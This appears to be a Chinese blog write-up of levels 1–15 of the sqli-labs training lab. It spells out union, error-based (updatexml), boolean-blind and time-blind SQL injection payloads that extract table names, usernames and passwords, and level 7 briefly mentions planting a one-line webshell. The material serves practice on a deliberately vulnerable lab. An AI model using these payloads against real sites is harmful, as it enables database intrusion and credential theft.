sqli-labs

第一关:

先判断是否有注入,根据提示,我们输入?id=1和id=999看页面变化来验证数值是否传递到数据库中。结果为有变化,所以存在sql注入。

再判断闭合方式

输入?id=1 正常

输入?id=1' 报错  

输入?id=1'--+ 正常

判断是字符型注入,闭合方式是'

?id=1' order by 3--+ 正常 判断回显位有三个。

使用union select 1,2,3来判断2和3是显示位

使用:union select 1,database(),3--+
爆出库

通过:union select group_concat(table_name) from information_schema.tables where table_schema='security'--+    爆出表是 users

通过union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ 爆出列名

通过union select 1,2,group_concat(id,username,password) from users--+

爆出所有的数据

第二关

首先判断是闭合类型

输入?id=1 and 1=2没有任何回显,这是因为将1=2解释为数字,这个条件本身是错误的,不能进行正确的回显,于是返回值为空.所以它是数字型

方法依旧,首先查看回显位,在?id=1 order by 3--+结果正常,而4不正常得回显位为3

在判断显示位

输入?id=-1 union select 1,2,3--+  得出回显位为2和3

输入 union select 1,database(),2--+  获取数据库名称为security

输入union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 得出数据表名users

输入 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+  获得列名

通过 union select 1,2,group_concat(id,username,password) from users--+ 来获得所有元素

第三关

首先测试闭合类型

试用id=1 and 1=2 --+观察,结果是只有加上’)显示为空,得出闭合类型

在通过?id=1') order by 3显示正常,4显示报错,得出它得回显数为3

通过?id=-1') union select 1,2,3--+测出它得回显位为2和3

在通过 union select 1,2,database()--+  得出它的数据库名称为security

在通过union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 得出表名users

在通过union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

通过union select 1,2,group_concat(id,username,password) from users--+获取表内所有元素。

第四关

先判断闭合类型

使用?id=1  and 1=2--+   在 1后面不断得试错观察哪一个会使得返回结果为空,得")

剩余得步骤同前三关

先判断回显行数,通过: order by 3成立不成立,得出有3个回显

通过?id=1") union select 1,2,3--+ 判断2和3是显示位

通过union select 1,2,database()--+得出数据库名security

通过union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+  得出数据表名users

在通过union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

通过union select 1,2,group_concat(id,username,password) from users--+获得所有元素

第五关

首先判断闭合类型

通过给?id=1 and 1=2得方式试错得出 闭合为  '

通过?id=1'显示有报错。所以可以使用报错注入

?id=1' and updatexml(1,1,1)--+使用报错函数,报错函数里面三个参数,写三个1占位置

?id=1' and updatexml(1,concat(1,1),1)--+ 我们可以操控的是第二个参数的位置

所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

?id=1' and updatexml(1,concat(1,(select database())),1)--+ 我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

查表名?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1)--+

查询列名

?id=1' and updatexml(1,concat(1,(select group_concat(id,column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

结果显示不全,只能通过limit一条一条查询

?id=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+ //第一条的username

结果显示不全,只能通过limit一条一条查询

?id=1' and updatexml(1,concat(1,(select username from users limit 1,1)),1)--+ //第二条的username

第六关

先判断闭合类型,经过管理得测试,在?id=1"? and 1=2 --+ 不显示,因为它成功闭合,所以数据库判断为空,因此闭合类型为"

通过把--+去掉发现有报错信息,因此使用报错注入

通过试错发现在order by 4 得时候报错,所以一共有3行回显。

通过updatexml(1,concat(1,(select%20database())),1)--+语句得出数据库名称为security

在通过updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

在通过updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+得到所有列名

在通过updatexml(1,concat(1,(select username from users limit 0,1)),1)--+查用户名

updatexml(1,concat(1,(select password from users limit 0,1)),1)--+查密码

第七关

先判断闭合,经过不断试错,发现闭合为')) 闭合

在输入order by  4的时候出现错误提示,但无报错位置,无法用报错注入,只能使用提示给出的外带注入。

查看secure_file_priv是否存在且为空。

使用一句话木马给他穿一个文件

使用菜刀进行连接

第八关

先判断注入类型,经测试得出,注入类型为'

且无任何报错信息和回显所以使用布尔盲注

使用bp工具判断数据库长度

输入?id=1' and length(database())=1--+抓包爆破

在攻击功能里添加paylod值

设置攻击范围

从结果判断长度为8

利用ascii函数判断数据库名称

?id=1' and ascii(substr(database(),1,1))=1--+

设置两个payload值,设置为集束炸弹,再设置范围,攻击后得出ascii值,得出数据库名为security

在通过and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1--+

得出第一个数据表名,在通过改变limit参数获取其他表名,最后得出其中一个users表

在通过and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=1--+查询列名

在通过改变limit的初始位置获得其他列名最终得到id,username,password。

在通过and ascii(substr((select username from users limit 0,1),1,1))=1--+


得出第一个用户名为Dumb,在用此方法继续获取剩余的username和password值

第九关

无论输入什么,页面都没变化,那么使用时间盲注

先使判断闭合类型

输入?id=1' and if(1=1,sleep(5),1)--+后页面延迟了5秒才打开,判断为'型

在通过第八关的?id=1' and length(database())=1--+方法获取数据库长度为8

剩余的步骤参照第八关的方法

获取数据库名称?id=1' and ascii(substr((select database()),1,1))=1--+ 得出数据库名称为security

然后分别通过

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1--+改变limit的起始位置获得数据表的所有表名,最终得到users表

在通过 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=1--+通过改变limit起始位置获取所有列名。

 

在通过?id=1' and ascii(substr((select username from users limit 0,1),1,1))=1--+获取username值

第十关

先判断闭合类型,发现输入什么页面显示都一样,没有报错信息,没有报错语句,没有回显,没有正确错误的不同反应,因此和第九关的方法一致

使用?id=1" and if(1=1,sleep(5),1)--+的时候页面延迟了五秒才打开,所以闭合类型为"

以下的步骤同第九关

通过?id=1"and length(database())=1--+方法获取数据库长度为8

剩余的步骤参照第八关的方法

获取数据库名称?id=1'"and ascii(substr((select database()),1,1))=1--+ 得出数据库名称为security

然后分别通过

?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1--+改变limit的起始位置获得数据表的所有表名,最终得到users表

在通过 ?id=1"and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=1--+通过改变limit起始位置获取所有列名。

 

在通过?id=1" and ascii(substr((select username from users limit 0,1),1,1))=1--+获取username值

第十一关

打开关卡,发现是post且有两个传入的参数

首先查看闭合类型

在输入1‘'是报错,且输入1’#能闭合,初步判断为'型,且有报错位置,

输入1’ or 1=1 #发现有回显位置

输入1' union select 1,2#得到回显位置

输入1' union select database(),2#获得数据库名称

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #获得表名

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #获得列

在通过1' union select 1,group_concat(username,password) from users#获得具体值

第十二关

先判断闭合类型输入1 or 1=2#无反应,说明不是1,输入"报错,但无法闭合,但根据报错提示的信息可知闭合类型是")

剩余的方法同第十一关

输入1") union select 1,2#得到回显位置

输入1") union select database(),2#获得数据库名称

输入1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #获得表名

输入1") union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #获得列

在通过1") union select 1,group_concat(username,password) from users#获得具体值

第十三关

按照惯例,先判断闭合类型

输入1 or 1=2#无反应,说明不是数字型,输入1'报错,但输入1' or 1=1#无法闭合,但根据报错信息可知闭合类型为')型

当输入1') union select 1,2#时无任何回显信息,所以使用报错注入

查询数据库1') and updatexml(1,concat(1,(select database())),1)#

输入 1') and updatexml(1,(concat(1,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),1)#获取表名

通过  1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#获取列名

通过1') and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)#查具体的元素

结果显示不全,需要用limit继续查询。直到获取所有数据

第十四关

先判断闭合类型 输入1 or 1=2# 无反应,所以不是数字型,输入1'也无反应,当输入1"时报错,通过报错信息的提示可知类型为"型

当输入1" or 1=1#是无任何显示,则和第十三关同理使用报错注入

查询数据库

输入 1" and updatexml(1,(concat(1,(select table_name from information_schema.tables where table_schema='security' limit 0,1))),1)#获取表名

通过  1"and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#获取列名

通过1" and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)#查具体的元素

结果显示不全,需要用limit继续查询。直到获取所有数据

第十五关

先判断闭合类型,输入1 or 1=1#无反应说明不是数字型 输入1'时无反应,输入1' or 1=1#成功闭合

因为没有报错信息和回显所以用布尔盲注

注意!不能在用1'了前几关的联合查询,报错注入因为不需要先决条件是正确也能使用可1,但这次是布尔类型需要and两边都为真所以用admin

得出数据库有八位字符

admin' and length(database())=8#

3.判断数据库名
得出第一位字符asc码为115,按此方法修改参数可得出数据库名

admin' and ascii(substr(database(),1,1))=115#

4.判断表名
下方函数可判断出数据库中第一个表的第一位字符,可按此方法修改参数获取所有表名

admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101#

5.判断列名
下方函数可判断出users表中第一位字符ASC码为115,按此方法修改参数即可得出其他列名

admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

6.获取所有参数
下方函数判断出username列中第一位ASCII码为68,按此方法修改参数即可得出所有参数

admin' and ascii(substr((select username from users limit 0,1),1,1))=68#

  • 8
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值